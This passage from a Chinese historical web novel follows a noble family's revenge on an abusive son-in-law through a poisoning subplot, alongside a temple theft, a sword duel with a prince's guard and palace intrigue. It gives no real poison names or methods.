刚进府,没多久大娘子就知道了,他还在用饭的时候,就带着钱妈妈来了。
“怎么这会儿才用饭?”大娘子顺势坐在一旁,为他的碗中夹了几道菜。
他一边喝着莲子百合粥,一边说道:“母亲稍候,待儿子用完饭。”
大娘子专注的看着二郎吃饭,还将一道他最爱吃的菜往前推了推,“我不着急,你慢慢吃。”
随后像是母亲叮嘱才归家的儿子一般絮叨着,“我知道你在隆安寺读书辛苦,只是还要照顾好自己的身体,万不能像今日一般,都这会了才吃早饭。”
而封砚初也如被关心的儿子一般,嘴角露出浅笑,“母亲不用担心,也就是今日耽搁了,往日都是好好吃饭的。”
大娘子长叹一声,“要不是女眷在寺庙常住不方便,我定要派丫鬟去,冯四和暮山都是男的,哪里懂得照顾人。”
“儿子一切都好。”没一会儿,封砚初吃完了饭,看向碧芳道:“将东西收拾了,让人别进来,我与母亲说几句话。”
“是。”碧芳对于自家郎君的话是言听计从,原本像她这种结了婚的年轻媳妇只能在外院找些事情做,这待遇可是千差万别的,还是郎君让她依旧回来。
直到屋子里只剩下封砚初,大娘子,钱妈妈三人之时。大娘子这才带着感激之色道:“二郎,幸亏有你,否则你姐姐往后的日子可怎么过。”
封砚初轻轻摇头,“母亲,她是我的姐姐,我自然关心。”随后看向钱妈妈的眼神十分锐利,“钱妈妈,我可以信你吗?”
钱妈妈听后‘扑通’一声跪在地上,“姑娘自小就是奴婢奶大的,如今却受着这样的苦楚,奴婢恨不得喝他的血,吃他的肉!无论发生什么事,奴婢绝不会出卖姑娘和二郎君的。”
大娘子看到封砚初脸上神色松动,这才上前将人扶起来,拍着她的手道:“钱妈妈,你也别恼,二郎与敏儿自是信你的,只是这件事兹事体大,自然要万分小心谨慎。”
封砚初也道:“母亲说的是,我固然信任妈妈,可也担心妈妈胆小。”
钱妈妈神情严肃的保证,“还请大娘子,二郎君放心,就是要让奴婢杀了那人,奴婢也是甘愿的。”
“好!既然妈妈如此痛快,若再心有疑惑,岂不是显得我小气。”说罢拿出一个木盒并打开,只见里头是女人用的脂粉瓷盒,一个浅绿色,上面画的是孟光照顾卧病在床的梁鸿;另一个是白色,上面是李儒献酒图。
“这是我新得的两盒脂粉,瞧着不错,还要劳烦钱妈妈,务必亲手将它送到姐姐手中,看她喜欢哪一个。不过每盒的用法相同,只需隔上三五日用上一次,一次一钱即可,差不多三个月。”
封砚初说到此处补充道:“钱妈妈,帮我给姐姐带一句话,这么多年的弓箭可不是白学的!”
钱妈妈听了这话,犹如有了底气一般,“是,二郎君!”随后又看着这两个盒子,见里面虽然都是白色,但一个颜色略暗些,问道:“这怎么分?”
大娘子看了一眼盒子上的图案立即清楚二郎到底是什么意思,“你只管拿去,敏儿会明白的。”
“是,奴婢清楚了,必定一字不落的告诉姑娘。”钱妈妈仿佛是藏珍宝一般,小心翼翼地将盒子收起来。
大娘子略微放下心来,这才道:“正好你今日回来,晚上一家人好好吃顿饭。”
事情办完,封砚初并不打算多待,行礼告罪,“母亲,儿子就不留了,一会儿便回隆安寺。”
“怎么这般着急,吃顿饭也好啊,再说你们兄弟姊妹也好好热闹热闹。”大娘子没想到二郎这就要走。
“不了,明年就要乡试,我且先回隆安寺读书,若是姐姐那里有什么事情,及时让人告知与我。”
不过在离开的时候,大娘子又给他带了一些日用之物。这落在外人眼中,当真以为封砚初是回来取东西的。
当天下午,钱妈妈就回了信国公府,将东西交给封砚敏,又说了封砚初交代的话,“娘子,这是二郎君让我给你的,说你一看便明白了。”
封砚敏打开盒子一瞧,先是拿起青色的瓷盒。孟光和梁鸿夫妇二人举案齐眉,即使梁鸿卧病在床,孟光依旧照顾,两人之间的佳话亦被后人传唱。
而后又拿起白色的瓷盒,上面是李儒献酒图,但他献的是毒酒。东汉末年董卓欲废黜汉少帝,改立汉献帝刘协,担心留下后患,便命郎中令李儒给少帝进献毒酒,强令其饮下而死。
她一一看完,便知道青色的是让徐三郎后半辈子都动不了,白色的则是让其一命归西。随即拿出二十两银币,“辛苦妈妈了,待将来脱离苦海,咱们的日子就好过了。”
钱妈妈本不欲收,但姑娘强行给她,为了让对方安心,只能收下。
窗外阳光正盛,徐三郎由人扶着,醉醺醺的朝这间屋子而来。封砚敏眼神锐利,拿起书桌上的水勺,从青色的瓷盒里舀了一点,倒在裁好的纸片上包好,递给碧玉,“去厨房煮一碗醒酒汤,毕竟他爱喝酒,饮了这汤对身体好。”
碧玉迅速收了,行礼道:“奴婢这就去煮醒酒汤。”
而封砚敏则不紧不慢的,将两个瓷盒都收进妆奁的最里层。恰好徐三郎也进来了。
她嘴角立即抿出一抹笑,上前将人扶的坐下,声音柔和,“夫君,碧玉已经去煮醒酒汤了,你且稍坐,我先给你揉一揉额头,也能舒服一些。”
这让原本准备找茬的徐三郎一时之间不知该找什么借口,只是皱眉半躺在榻上,鼻子哼了一声,斜眼看见钱妈妈还在,破口骂道:“老虔婆,还不快滚出去!”
钱妈妈本想陪着自家姑娘,可眼见如此,为了不引起对方的怒气,只能告退。
徐三郎猛地起身,一把将封砚敏推倒在地,骂道:“这就是你们封家教出来的下人,丝毫不将主子放在心上!”说话间抬脚就要踹上去。
第八十六章 下手还是太轻了
封砚敏没想到对方还是找到借口动手,这两日她也暗中打听了,薛氏当初可没少挨打。
她本就不是那种逆来顺受之人,以前是担心影响武安侯府与信国公之间的交易,再加上女子本就力弱,根本打不过!如今二郎的话仿佛给了她底气,不再畏畏缩缩,思虑太重。
所以眼见那一脚上来,自己还不得被打的吐血,便迅速爬起来跑去内室,从床头将自己陪嫁带来的弓箭取下来,搭弓拉弦,一气呵成。
已经追上去的徐三郎正要抬手打人,却迎面撞上一个拉满的弓,当时吓得有些磕巴,“你……你这是要做什么!”说罢作势要上前去拽封砚敏,他觉得对方不敢。
‘嗡’的一声。
箭矢擦着徐三郎的耳边射出,他没想到对方竟然真的敢,怒不可遏的骂道:“贱人,你敢射我!”
封砚敏见未能吓住对方,立即厉声喝道:“你若是再上前,可就不仅如此,而是你的腿!徐三,你别忘了,我武安侯府虽说已经从文,但我封家先祖可是跟随太宗皇帝,在尸山血海里杀出来的!在我封家,即使是女儿家,也是弓马娴熟!”
可徐三郎脸上的表情愈发兴奋,“是吗?那又如何,你记住,如今是你封家求着我们徐家!”说罢,朝封砚敏扑来。
封砚敏早就受够此人,并未犹豫,一箭射出!
紧接着,一声惨叫响起,“啊!贱人!”
此刻,她没有恐惧,而是激动,“之前我就是有太多的顾虑了,让你以为我会和薛氏一样逆来顺受,那就错了!”
说来可笑,之前徐三郎酒后动手从未有人过来,现在不到半盏茶的时间,世子夫人,徐大郎夫妇,徐二郎夫妇均已来了。
最先是世子夫人一声凄厉的喊着:“啊!我的儿!还不赶紧将人扶起来,快去叫大夫!”随后指着封砚敏骂,“封氏,你居然敢对自己的夫君动手!你可有半点女子的柔顺!”可见此人也是虚伪,她儿子打人可以,但别人伤她儿子却不行,以前不过是说些漂亮话罢了。
“婆母,这如何怪的了我,是夫君追着我打,我总不能将脸伸过去任他打,再说我原是吓唬吓唬他,谁知他竟然说让我射。”是的,没错,在这些人来之前,封砚敏任由徐三郎躺在地上哀嚎。
这也怪不得她,但凡这院子里的下人就没有受到过磋磨的,也是徐三郎该着如此,众人见新来的娘子将人射伤后,没有不暗自欣喜的。
徐大郎本就与徐三郎不对付,其妻刘氏见状赶紧上前安抚,“三弟妹,让你受惊了,也是家丑,这三郎但凡喝点黄汤就把控不住自己,原先的薛氏不知挨了多少次,好在你在娘家练过射箭,否则还不知道怎么样呢。”
这时,碧玉紧赶慢赶的将醒酒汤端来,眼见竟发生了这事,不禁担心自家姑娘受到婆母的责难。
徐大郎见状,对着还在不停咒骂的世子夫人道:“母亲,您瞧,弟妹实在贤惠,担心三弟酒后不适,还让丫鬟熬了醒酒汤,只是三弟实在不成个样子,若非弟妹有射箭的技艺,只怕现在躺着的就是她了。”徐大郎夫妇就是如此,一旦遇到徐三郎的事,便见缝插针的贬损。
最先来的是信国公府的大夫,仔细处理过伤口后道:“三郎君伤到了腿,幸好未伤到骨头,不过想让完全恢复,起码也得二十多天。”
在场之人,只有身为母亲的世子夫人、以及同母所出的徐二郎有几分担心之外,其余人要么是看笑话,要么幸灾乐祸,要么事不关己。
世子夫人实在不放心让封砚敏照看儿子,“方妈妈,今后由你照看三郎,直至康复。”到底不放心,之后又用名帖请了太医来瞧。
只有封砚敏看向醒酒汤,心中暗暗可惜浪费,对方并没喝上。随即又为自己鼓气,早晚会有机会的,不过接下来的日子,她也好不容易迎来了在徐家最平静的一段时间。
当天晚上,信国公知道三郎受伤后,没有任何表示,因为他本就不待见这个孙子。
世子听了世子夫人的诉苦之后,也不过是扔下一句,“让人好好照顾着。”
徐二郎本人虽担忧,但他的娘子苏氏对此无感,这与她何干。
徐大郎与娘子刘氏则在房间偷偷喝酒庆祝。
刘氏啧啧地赞叹,“哎呀,到底是封家的女儿,虽说都从了文,毕竟是武将后代有几分血性。”
徐大郎却觉得有些可惜,“下手还是太轻了,只可惜未能让他彻底瘸了。”
刘氏却道:“要是真瘸了,你看婆母会不会这么轻易放过封氏。”
夜色阑珊,徐三郎一边疼得龇牙咧嘴,一边痛骂着。可这落在封砚敏耳中,却觉得格外的悦耳,尤其是伴着月色更动听。
不过为了以后能顺利下药,该做的样子还是要做的。于是在方妈妈的监视之下,她十分殷勤,还满怀愧疚,“夫君,是我的错,当时我实在害怕极了,以后必定不会了。”
而徐三郎躺在床上骂道:“你且等我好了,有你好看,不打折你的腿我就不姓徐!”
其实封砚敏并不是不愿意再来一次,而是弓箭已经被世子夫人收走了,就是为了防止再来一次。
毕竟徐三郎什么货色,作为母亲可太清楚了,以前之所以睁一只眼闭一只眼,不过是因为她儿没伤着,事后不疼不痒的训斥一通也就罢了。
第八十七章 我看他能跑多远
隆安寺。
随着封砚初一起来的还有一车东西,就在暮山往里搬之时,江行舟顶着包起来的额头来了。
这明显是受了伤,“江郎君,你这额头是?”
江行舟摸了摸额头,“封二郎,这两日你没在,昨天晚上咱们这院子里就进了贼,我恰好散步,没想到则贼人真是胆大,瞧,是变成这样了;谢四郎与元三郎已经去报官了,你赶紧进去瞧一瞧,可少了什么东西。”其实是他为了省钱没吃饭,饿得睡不着,在院子里闲逛。
封砚初拱手致谢,“多谢江郎君,我给你拿些伤药。”
江行舟摆手道:“我这伤不要紧,你快去看看吧。”
他只得道了声恼,其实屋子里并没有放银钱,只有一些他日常用的东西,进去细查之后,发现兄长送来的两柄扇子不见了。一柄是檀香扇,价值二十两;另一柄是棕竹绸扇,价值八、九两;其余的倒还在,不过他从屋内拿了些伤药。
出了房门,江行舟还在,他将伤药递给对方,道:“兄长送给我的两柄扇子丢了,不过还是要多谢江郎君,等忙完必定重谢。”
江行舟倒也没矫情,接了伤药道:“那倒还好。”他心里估摸着两柄扇子而已,了不起二三两银子,这些钱对于封二郎来说不算什么。
“也是我走的太匆忙,未留人照看。”
两人说话期间,负责此地的县令王成与县尉严膑望带着一些衙役来了。
那县令王成一来就在人群里精准的找着了封砚初,上前道:“敢问可是武安侯府的封二郎君。”
“在下正是。”封砚初拱手一礼。
其实县令王成原本没打算来,在听闻是武安侯府的封二郎丢了东西,这才亲自来,前后态度变化之大,让谢鹤川与元康震惊不已。
“我是此地县令王成,他是县尉严膑望,不知封郎君丢了何物?”
“丢了两柄扇子,一柄是檀香扇,约莫值个二十两;一柄是棕竹绸扇大概八九两的样子;若是别的倒也罢了,这两柄扇子乃是兄长所赠。”
王成神色严肃,微微颔首,“竟是世子所赠,此贼着实可恶,不仅偷盗,竟还殴伤江举人。”随后转头问江行舟,“不知你可看清这贼人模样?”
江行舟思索道:“那人虽然蒙着头面,但当时月色正好,我还是能约莫看清那人应是光头,否则黑布怎的那般平整。”
严膑望看向隆安寺大殿的方向,“必定是这里的和尚所为,他见你离开了隆安寺,这才循迹偷盗!”
一行人又风风火火的去了隆安寺大殿之处,叫来了方丈空净。
“阿弥陀佛,不知施主带着这么多人所为何事?”其实空净心中也是忐忑,这些年寺里眼见败落,寺内有些僧人内心不静,不过他更担心影响隆安寺的名声。
“空净大师也不必多言,武安侯府封二郎君的住处昨夜遭贼,丢失了两柄扇子,价值二十九两,数目不小,有人看见是你隆安寺的和尚所为,自然要抄捡抄捡。”王成说完挥手示意衙役搜查。
空净这才明白了几分,随后看向寺监慧远,慧远立即反应过来,“今日一早,善行便已离开。”
“你为何会同意善行离开,莫不是有意包庇!”严膑望厉眼看去。
慧远叹气道:“近两年隆安寺的情况愈发不好,寺里也是人心不定,善行之前就有心离开,只是想侍奉佛祖到中秋之日,没想到今早却要提前离开,贫僧也不好阻拦。”
此话一出,众人立即明白什么意思。估计这善行在封砚初来隆安寺之日,便已惦记上了,只是一直没有机会。中秋乃是团圆之日,封砚初必定会回武安侯府,善行没想到此次对方竟然有事提前离开,还未留下仆从看守,便生了贼心。
在众僧的带领之下,果然找到了一身黑色的夜行衣,只是并未见扇子。
“跑了!没有路引,我看他能跑多远!给我挨家挨户查!”王成有心表现一番,毕竟封二郎的父亲如今在吏部任职,那可是捏着官员的考评。
而封砚初心里却在想即使扇子找回来,他答谢这些人所花费的估计都不止三十两。不过嘴上却道:“此事还需劳烦王大人和严大人事后赏光,让封某宴请诸位。”
等这些人离开之后,空净大师这才连连道歉,“是隆安寺管教不严,竟出了这样的败类。”
毕竟还在人家的地盘住着,要不是发生了偷盗之事,其实封砚初在此感觉还不错,不仅能静下心来读书,还能与其他人一起交流学问,“大师严重了,隆安寺僧众几十,又岂能得知每人心中所想。”
话说江行舟抹上封砚初给的伤药之后,顿时便感到一丝凉意,果然是上等好药。
封砚初回去之后,便让暮山提了一桌好菜,当日就感谢三人,毕竟人家确实好心帮忙。
而谢鹤川等人吃的也分外开心,尤其是江行舟,此宴是他这辈子吃过最好的一顿。
“此乃琥珀酒,是封某从家中所带,虽不十分名贵,但也别有风味。”说罢,封砚初为三人斟酒。
因为今日耽搁了许多时间,酒足饭饱之后,黄昏已至,暑气消散,凉意袭来。
大家坐在院子里,感受清风徐徐,赏落日余晖,甚是美丽。
第八十八章 你到底做了什么?
不过三日,王县令就追回了那两把扇子,封砚初不仅亲自宴请了县令和县尉,还给那些帮忙的衙役们一些谢礼,零零总总下来花了三十五两,倒还搭进去一些。
这也是无奈之举,正所谓宁得罪君子,不得罪小人,千万别小看那些衙役,没准什么时候就给你使个坏。
但是封砚初同时也向王县令释放了一个信号,那就是我已经谢过你了,就与我父亲无关。
其实王县令本来想以此搭上武安侯府,心里清楚这件小事起不到太大的作用,所以在封砚初宴请之时多少还是有些失落的。
时间如同掌中之沙,迅速流逝,转眼已是中秋,有了上次的教训,他但凡出去都会将暮山留下。
“孙儿给祖母请安。”他一回来就去了老太太之处。
时隔两个多月,当老太太再次见到二郎时,只觉得变化忒大,“二郎,这次回来可要多待几日。”
“孙儿倒是想多留几日,只是还约了友人一起探讨文章。”
老太太略有些失望,自从敏儿嫁人,二郎又去了隆安寺读书不常回来;大郎自从成为世子后,除了必要的应酬之外也是整日专心苦读;明儿那孩子也被他父亲管的严了许多;三郎调皮,四郎胆小,如今也就砚婉与砚潼两个女孩子有时会来,其余人都各人有个人的事情要忙。
这次的中秋赏月宴专门设置在,后花园临湖的一处水榭旁边,众人也都陆陆续续来了。
封砚初来的最早,他正与大郎说话期间,三郎与四郎到了,许是别人都忙着,竟让他俩时常能玩在一起。
“大哥。”三郎朝长辈见了礼,又匆忙朝大郎拱了拱手,随后惊喜道:“二哥,你回来啦!”
“中秋团圆,我自然要回来的。”封砚初脸上依旧带着淡淡的笑。
可不知为何,三郎就是放肆不起来,以前他与二哥关系最好,可这次见到人之后,竟然有些拘束起来,不过他还是关心道:“二哥,你在隆安寺无不无聊?有好几次我都想去看你,可是被大哥骂了一顿,说不许打扰你读书。”
大郎封砚开轻轻摇头,长叹一声,颇有些无奈道:“你说说,既是看望二郎,带那么多话本子做什么?岂不是影响他读书?”
三郎低声吐槽,“可总是读书多无聊啊,我也是想让二哥闲了看话本消遣一二,再说了,二哥本就喜欢看话本,我这是投其所好。”
大郎自是不信,反驳道:“你净胡说,二郎何曾喜欢看话本,分明是你喜欢,若是再有下次,我便不帮你遮掩了,让父亲好好收拾你。”
封砚初听到此处忍不住笑道:“大哥,也别骂他,其实书读累了看两眼换换心情也不错。”
大郎一副不认同的样子,“二郎,你不必再为他找补,我还不知道他,但凡与学习无关之时就上心,最近连带着四郎都有些懈怠了。”
三郎心里一时之间有些难受,看吧,果然如二哥所说,至今没人相信。
跟在身后的四郎听了这话,连忙保证,“大哥,我知道错了,以后再也不与三哥胡闹了。”
封简宁最近越来越忙,所以他也是最后一个到的,给老太太请安后,便看向次子,“听说前段时间你那里失窃了。”
封砚初拿起筷子的手略微顿了顿,心里想着究竟是谁说的,嘴上却道:“是大哥送我的扇子被盗,不过已经找回来了。”
封简宁并未继续追问,“一会儿来书房。”
“是,父亲。”
一顿中秋宴倒也吃的有滋有味,老太太兴致很高,眼见时辰不早了,这才散去。
书房,封砚开与封砚初两人都在。
“我听人说隆安寺失窃,你当时回来了?我怎么不知?”封简宁听说儿子在隆安寺的住处失窃,细细打听之后,才得知他还有事情瞒着自己。
“哦,之前姐姐成婚次日我就离开了,因为有些匆忙,忘了带东西,所以这才回来取。”封砚初依旧不动声色,他也在暗暗试探着,看父亲了解到哪一步了。
“我听说你回来了三天两夜,可你当日回来只待了一会儿就离开了,剩余那几日在何处?”封简宁神情严肃,他严重怀疑次子做了什么不好的事,之所以在中秋宴硬生生忍到现在才问,不过是想着孩子大了,面子还是要留的,不能再像以前那样教训。
大郎封砚开瞳孔地震,声音下意识从嘴里发出,“二郎,你……”
封砚初面色依旧如常,看向父亲的眼睛是那样沉静,丝毫未有被发现的惊慌,只问道:“父亲当真要知道吗?”
封简宁不知为何,心里莫名有些慌,不过还是镇定道:“我想知道。”
封砚初并未回答,而是看向窗外的圆月,“都说中秋乃是团圆之日,只是不知姐姐在徐家与徐三郎那样的人共赏满月是何种心情,儿子听说那徐三郎好饮酒,酒后便成了畜牲,不!是畜牲不如。”
封简宁也知道女儿的日子不好过,可为了侯府利益,他能做的竟然只有找对方算账,“你……都知道了。”
这句陈述同样震惊到封砚开,他这才发现自己疏忽了很多,“二郎,你是说那徐三郎喜欢酒后打人!父亲,你也知道!”
封砚初并未瞧两人,继续道:“外人都说徐三郎情深,竟甘愿为亡妻守孝二载,可他们却不知那薛氏生前遭受了什么,偌大一个信国公府竟将此事瞒得死死地。”
封简宁惭愧不已,但他更担心次子因此耽搁了前程,“你到底做了什么?”
他这才扭头看向父亲,严肃道:“父亲还是不知道的好。”
“徐三郎现在还不能死!”封简宁脱口而出。
“父亲说什么呢,那徐三郎不是活的好好的,据说他腿伤好了以后又复从前,日日饮酒好不快活!儿子真心为他能恢复健康而高兴。”他终究还是什么都没说。
而封简宁也未继续发问,此时此刻的他,这才发现,次子不知从什么时候起,长成了这样,是那样的陌生。
话到嘴边,却变成了叮嘱,“为父知道了,无论你在其中做了什么,都不要被发现,否则你的前程尽毁。”
封砚初嘴角含笑,似乎还是以前那个有些调皮的样子,“那是自然。”
大郎封砚开心绪十分复杂,他既欣慰二弟的长大,又觉得是自己无能,他终究失去了那个活泼的弟弟。
第八十九章 这次交手收获颇丰
“父亲?”封砚开看向父亲,而封简宁注视着渐行渐远的次子,摇头道:“二郎长大了,自从我知道这件事以后,前些日子悄悄去了一趟隆安寺,本以为他即使苦读也难免偷闲,可没想到二郎临窗而坐,整整一上午都未挪动,也未走神。”
封简宁的目光越发深邃,“没准咱们武安侯府还有别的出路。”
他何尝不担心自己成了信国公的马前卒,可现下两个儿子这般努力上进,让他似乎又看到了武安侯府还有别的方向,毕竟鸡蛋怎能放进一个篮子里,“唉,随他去吧,二郎有自己的想法。”
封砚初刚进院子,就看见大娘子已经在等着了,“见过母亲,您有事叫儿子过去就行。”
大娘子实在等不及,将他拉进屋内,挥手让下人退下,“二郎,你父亲那里?”
他摇头道:“儿子没说,不过父亲应该有些猜测。”
大娘子长舒一口气,“那就好,那就好,我是担心你父亲反对。”
“不会,父亲只是担心暴露。”封砚初对这两副药还是很有信心的。
大娘子听后,心也放进肚子里,又拿出一百两银票道:“你的住处被盗,扇子虽然被找回来,可那些人出了力,你必定要宴请答谢,没准花出去的钱都比那两柄扇子加起来都多,如今的官场就这样,人脉,背景排在首位。”
“母亲之前给的还未花完呢。”封砚初并不打算要。
“拿着吧,要不是为了敏儿的事,你何苦摊上这事。”
“若是因此,母亲更不必给我,难道我这个做弟弟的还不能为姐姐做点事吗?”封砚初到底没收。
虽是中秋,但现在天气依旧暖和,而隆安寺周围都是树林,蚊虫不少,他准备在离开之前去一趟‘枕松闲居’取些驱蚊香。
所以,次日吃过早饭,便出门了。
才进门,就听见一阵敲门声,冯四开门一瞧,竟然是两个月之前的那个人。
封砚初出了药房,竟是六皇子,身后还跟着一个侍卫。立即上前见礼,“草民见过六殿下。”
六皇子挥了挥手,示意免礼,眼睛却不停打量,一边四处逛着,一边说道:“二郎,你可终于回来了,上次就好奇,这次正好带我瞧一瞧,顺带看你这里藏着什么秘密,竟然连武安侯都瞒着。”
封砚初无奈,只得领着六皇子到处闲逛,“我这里能有什么秘密,不过是在家里憋闷,才在此处置办宅子躲清闲罢了。”
六皇子推开一间屋子的门,此处正是药房,他仿佛瞧稀奇一般,东摸摸西看看,嘴上还道:“这就是你的药房啊,瞧着不太齐全。”
随后拿起一个瓶子,凑上去闻了闻,“这是什么?闻着还挺香的。”
封砚初赶紧上前将东西夺过来,放回原位,“六殿下,不能乱碰,这是毒。”
六皇子吓得赶紧在身上蹭了蹭,嘴上却说:“你上次给的药不错,还有多的吗?”
“近日在隆安寺读书,还未制好。”封砚初一边将人往外请,一边说道,两人没一会儿,就逛完了。
直到进了待客的主屋,六皇子一眼便瞧见了空置的架子,走近一瞧,上面果然有放置武器的痕迹。
他抚摸着上头的痕迹,嘴角弯了弯,瞥向依旧镇定的封砚初,看着在笑,可神色不明,“二郎,你会武?”虽在问,实际确是肯定。
“六殿下目光锐利,只是一些三脚猫的功夫,不过是为了强身健体罢了。”
六皇子盯着封砚初的眼睛,认真道:“你可后悔救了我?”,未等回答,又拍着对方的肩膀哈哈笑着,仿佛并不在意,“一会与李延对练一下,看你擅长什么,改日我送你更好的。”
“六殿下,草民不过是瞎练,怎会是皇子侍卫的对手。”自从六皇子不请自来,封砚初内心就没停止过吐槽,后悔有什么用?当时的情况是不救也得救啊。
“是不是对手,打过才能知道,你一会儿用我的佩剑。”说话间已经走出屋子将李延招呼过来,“李延,你一会儿和封二郎对打一下,正好练练手。”
这是上位者强硬的命令,封砚初接过六皇子的剑,随意挽了一个剑花,还算顺手。
这一幕正好被瞧见,“看来你使得是剑。”
李延已经站在对面,并未因为对方年岁不大就轻视,多年的对敌经验告诉他,迎敌最忌讳如此。他从鞘中拔出长剑,不过随意一挥,便发出‘嗡’的一声剑鸣。
随后上前朝朝封砚初拱手道:“封二郎君,得罪了!”
当李延的长剑刺来的那一刻,他就感受到了对方的气势,那是还未见血的暮山无法比拟的,可他并不怵,反而引发出抗争的意志。
一连好几个月的对练,他的剑法早已不再是之前的稚嫩,更多的是凌厉。他不甘示弱,手持长剑,流云剑法配合着烟云步,朝对方攻去。
只听双剑发出‘砰’的一声,两人各退三步,这不过是双方之间的试探。随后双方再次攻向对方,比起封砚初剑法之飘逸,李延手里的剑却十分刚猛,对敌经验也丰富,封砚初只是勉强招呼。
可在双方的对打之中,封砚初手中的招式渐渐变得灵动、熟练,尤其配合着排云掌,李延一时之间竟拿不下。
旁边的六皇子一开始神色轻松,可随着封砚初招式渐熟,越来越顺手,神色也变得凝重。竟然用李延来磨练自己的剑招,尤其是那琢磨不定的剑法配合着步法。
看来他要给封二郎重新定位,思及此处,便鼓起掌,“精彩,实在精彩,没想到二郎的武功这般好。”
此次对练,封砚初收获很大,他将剑交还给对方道:“六殿下谬赞,是李侍卫未尽全力。”
李延却摇头道:“封二郎君的剑只是未见过血,这才处处留情,显得稚嫩,假以时日我也不是对手,更何况此次交手,我收获颇丰。”
六皇子自然知道李延说的是实话,不过从方才的步法可以看出,封二郎的轻功很高明,即使打不过,也可以轻松逃掉。
第九十章 都在隐藏自己
俩人进了屋,封砚初亲自为六皇子沏了茶,“还请六殿下见谅,草民不常在这儿,所以只有茶。”
六皇子浅饮一口,像是拉家常一般,“改日我给你带些好茶。”说话间又拿出两千两银票,“这次来主要是为了给你送钱,这是你为我治伤,还有药钱。”
“六殿下给的太多了,五十两就够了。”封砚初并未着急收。
其实六皇子怀里还有三张一百两的银票,只是在看到对方的武功之后改了主意,脸上却做出无所谓的样子,“我的命难道还不值这二千两?方才我也瞧了,你那药房还缺不少东西,就当是我对你的支持,但是说好了,闲了时,再为我准备一些伤药。”
封砚初察觉出六皇子的变化,比起刚来之前的平易近人,这会儿表现出来的才算真实,他没有客气,将银票收下,“多谢六殿下慷慨。”
回去的路上,六皇子神色严肃,看向李延问道:“可看出什么?”
李延此次去并未闲着,“那个叫冯四的不过是庄稼把式,但我瞧他眼神锐利,所以射箭应当很厉害。至于那个武器架上,除了剑以外,还有长枪,封二郎君的功法很厉害,假以时日必定在我之上。”
六皇子挑开窗帘,看着街道上来来往往的行人,嘴角挑起一抹笑,“我原先以为他只是医术不错,想着将来万一需要,可以让在这方面帮些忙,方才一试,竟有这样的惊喜,你可知于此同时,他并未耽误读书,今年院试还是案首,如此乡试已稳,就看来日的会试,殿试如何,且先瞧着。”
李延对此却有些心疼自家殿下,“要不是为避锋芒,您何须如此辛苦。”
六皇子却笑了,“我如今力弱,自然要藏在我的这位大皇兄身后,免得五皇兄和皇后的视线落在我身上,有这机会还不如积攒实力,待他们斗得差不多了,自然容易些。”他其实与封砚初一样,都在隐藏自己。
而方才的试探也很成功,封二郎果然也在忧心武安侯府的前程,虽说不会一下子效忠,但起码现在不会拒绝自己的示好。世家勋贵出身之人,怎么可能将鸡蛋放进一个篮子里。
“今天的天气真好,明日出城打猎。”六皇子心情很好,他心中感慨着,父皇啊,父皇,若非您在储君之位上犹豫,哪有儿子的机会,所以我最感谢的是您。
“是,殿下。”李延虽不知殿下为何高兴,但他也被影响了,咧着嘴应道。
信国公府。
昨夜的中秋宴吃的没滋没味,徐三郎本来想多饮两杯的,结果信国公当着所有人的面说道:“今日是团圆宴,你还是别喝酒了,没得扫兴。”
在徐家,信国公的话众人都得听,之前所有人都知道徐三郎的德行,但从来没人会在公众场合下直言不讳,今日是第一次。
徐三郎觉得自己丢了脸,他不敢对祖父如何,回去后,就朝着封砚敏撒气,院子里的人都不敢上前阻拦,整个国公府仿佛哑巴了一般。
“今日看我丢脸,你可得意了!”徐三郎回来就瞅对方不顺眼,抬手就打过去。这是他第一次在未饮酒前打人,封砚敏见状连忙一躲。
这可气坏了徐三郎,“你还敢躲!”
没了弓箭的封砚敏吓坏了,在屋子里与徐三郎绕圈来回跑,就在精疲力尽之际,扫见了床上放着的白釉孩儿瓷枕,心里只觉幸运,幸亏这两日还未收进去。
说时迟那时快,抓起瓷枕顺手一挥,只听‘嘎嘣’一声,对方的胳膊断了。
眼见如此,封砚敏意识到另一件事,那就是徐三郎的精力没有以前好了,若是之前自己肯定跑不过,可现在对方即使尽力,也追不上。
此刻心里只有一句话,药见效了!药见效了!
“啊!毒妇!”徐三郎还没意识到自己的身体已不如前。
还是世子夫人最先赶来,只瞧见屋里砸的乱七八糟,儿子抱着胳膊在嚎。儿子的胳膊折了,又是因为封氏,她的三郎再次受伤。现在她没有心情找对方算账,而是赶紧递了帖子请太医诊治。
当太医为徐三郎诊治的那一刻,封砚敏的心几乎要跳到嗓子眼了,直到太医正骨,把脉,针灸,开药方的所有流程都走完。
才说道:“以后徐三郎君还是少喝些酒,忌女色,现在他的肝脏已经出了问题,若继续喝下去……唉!”剩下的话未说,但众人都明白什么意思。
世子夫人担心道:“他嗜酒如命,我也常常劝着,可都没用。”
“那老夫也没办法。”其实这太医以前就为徐三郎诊过脉,当时虽然对方也饮酒,但身体还很康健。
酒色害人,不知什么时候添了好色的毛病,身体不行就要保养,竟然还用助兴之物,这下可真是雪上加霜。
而徐三郎却在心里嘀咕,自己以前在女色一事上还好。难道是因为之前腿被那贱人射伤,好了之后总惦记着,便频繁了些?还是要多进些补汤,不过话说自从腿好之后,自己确实喜欢在女色上纠缠,看来得注意。
太医走后,世子夫人这才有空训斥封砚敏,“自从你嫁进来,我儿就三灾八难的,这腿才好,你就将他的胳膊打折了!还有,他近日在女色上勤了些,你身为妻子怎么不去劝阻……”
封砚敏低头听着婆母的训斥,心里头却松了一口气,看来二郎那药确实不凡,就连太医也只以为对方是好色、爱喝酒导致的。伤筋动骨一百天,可惜对方伤的是胳膊,依旧可以下地活蹦乱跳。
徐三郎觉得自己喝着补品果然有效,精神都好了许多。只是封氏在他眼中犹如夜叉一般,所以即使胳膊伤着,也是时常与小妾丫鬟胡闹,封砚敏对此自是乐见其成。
第九十一章 去那里赏梅不错
枝头的叶子还未掉尽,不过一夜,细雪犹如盐粒般洒满大地,猝不及防的告诉大家,冬天来了。
屋内气温骤降,暮山赶紧生起火炉,不一会儿,就暖了。
“郎君,这饭菜有些凉了,我先在炉子上热一热。”暮山手脚很快,为了省碳,只要他白日里在隆安寺,就会和郎君待在一间屋子。他至今都记得小时候,那时候他还没被选中,每年冬天是最难熬的,自从进了侯府之后,从没想过他还能过上这样的好日子。
封砚初早起练武之际就已经体会过今日的寒冷,思及此处道:“暮山,等我用过饭之后,请江郎君他们过来,就说我邀请他们一起探讨文章。”
江行舟家贫,元康家里也不富裕,谢鹤川虽然好些,但也舍不得整日烧火取暖,只有晚上一小会儿,或者冷的受不了才生火。
既然每个人都要取暖,所以今年冬季,三人便住进一间屋子里平摊,就是为了节省取暖的费用。
